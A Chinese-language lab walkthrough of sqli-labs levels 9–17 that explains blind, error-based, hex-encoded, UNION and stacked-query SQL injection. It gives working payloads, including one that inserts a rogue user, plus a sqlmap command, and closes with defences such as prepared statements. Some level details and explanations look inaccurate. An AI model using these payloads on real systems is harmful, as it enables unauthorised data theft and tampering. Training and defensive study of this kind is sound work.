SQL注入进阶:sqli-labs(9-17)关卡技术解析

1. SQL注入实战:sqli-labs(9-17)关卡深度解析

作为Web安全领域的经典靶场,sqli-labs从第9关到第17关逐步提升了SQL注入的难度等级。这些关卡涵盖了基于时间的盲注、报错注入、堆叠查询等高级技术,是安全从业者必须掌握的实战技能。本文将带您逐关破解这些精心设计的挑战。

注意:所有实验应在本地隔离环境进行,禁止对非授权系统实施测试

1.1 环境准备与基础配置

首先需要搭建PHP+MySQL环境。推荐使用XAMPP或Docker快速部署:

docker pull acgpiano/sqli-labs docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs

访问http://localhost完成数据库初始化后,重点关卡的技术特征如下:

关卡注入类型防护措施关键突破点
Less-9时间盲注无报错回显if+sleep条件判断
Less-10时间盲注双引号过滤闭合方式调整
Less-11POST注入基础过滤报错注入绕过
Less-12变形注入特殊字符转义编码混淆技术

1.2 核心注入技术详解

1.2.1 时间盲注实战(Less-9)

当页面无报错且返回固定内容时,需要通过延时响应判断注入结果。典型payload:

' AND IF(ASCII(SUBSTR(database(),1,1))=115, SLEEP(5), 0)--+

这个注入包含三个关键部分:

  1. ASCII(SUBSTR())逐字符提取数据
  2. IF(条件,真值,假值)布尔判断
  3. SLEEP(5)延时函数作为判断依据

技巧:使用Burp Suite的Intruder模块时,设置"Response received"作为判断条件,比人工计时更精准

1.2.2 报错注入突破(Less-11)

利用数据库报错信息回显数据,常用函数组合:

' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x3a,(SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.TABLES GROUP BY x)a)--+

该payload利用了MySQL的RAND函数在GROUP BY时的特性报错,其中:

  • 0x3a是冒号的16进制,作为分隔符
  • FLOOR(RAND(0)*2)制造确定性随机数
  • 通过嵌套SELECT逐层获取数据

1.3 高级绕过技术

1.3.1 十六进制编码(Less-12)

当单引号被转义时,使用十六进制表示字符串:

" UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+

其中0x7365637572697479是"security"的十六进制形式。转换方法:

>>> 'security'.encode('utf-8').hex() '7365637572697479'
1.3.2 堆叠查询利用(Less-16)

通过分号执行多条SQL语句:

"; INSERT INTO users(username,password) VALUES ('hacker','p@ssw0rd')--+

危险警告:此技术可能导致数据篡改,实际渗透中需严格遵守授权范围

1.4 自动化注入实战

使用sqlmap提高效率的基本命令:

sqlmap -u "http://localhost/Less-11/" --data="uname=admin&passwd=admin&submit=Submit" --level=3 --risk=2

关键参数说明:

  • --data:POST请求参数
  • --level:测试等级(1-5)
  • --risk:风险等级(1-3)
  • --technique:指定注入技术(B/E/U/S/T/Q)

1.5 防御方案设计

根据这些关卡的攻击手法,推荐防御措施:

  1. 输入验证层:
$id = mysqli_real_escape_string($conn, $_GET['id']);
  1. 查询层防护:
$stmt = $conn->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $id);
  1. 架构层防护:
  • 使用WAF规则过滤常见注入特征
  • 设置数据库最小权限原则
  • 定期更新漏洞补丁

1.6 疑难问题排查

问题1:Less-15关卡始终无法触发延时响应

解决方案:

  1. 检查输入闭合方式:可能是'或"未正确闭合
  2. 验证sleep函数是否被禁用:尝试?id=1' AND SLEEP(5)--+
  3. 使用注释符变体:--、#、/* */交替尝试

问题2:Less-17关卡密码重置功能无响应

根因分析: 该关卡使用mysql_real_escape_string过滤输入,但仅对字符串参数有效。数字型参数仍存在注入风险,应强制类型转换:

$id = (int)$_POST['uid'];

1.7 拓展训练建议

完成基础关卡后,可尝试以下进阶挑战:

  1. 不使用延时函数完成Less-9注入
  2. 在Less-11实现DNS外带数据
  3. 对Less-13实施二次注入攻击
  4. 编写自定义WAF规则拦截这些攻击

我在实际测试中发现,MySQL 8.0+版本对堆叠查询的限制更严格,而MariaDB在某些场景下对报错注入的响应更详细。不同数据库的差异性也是安全研究的重要方向。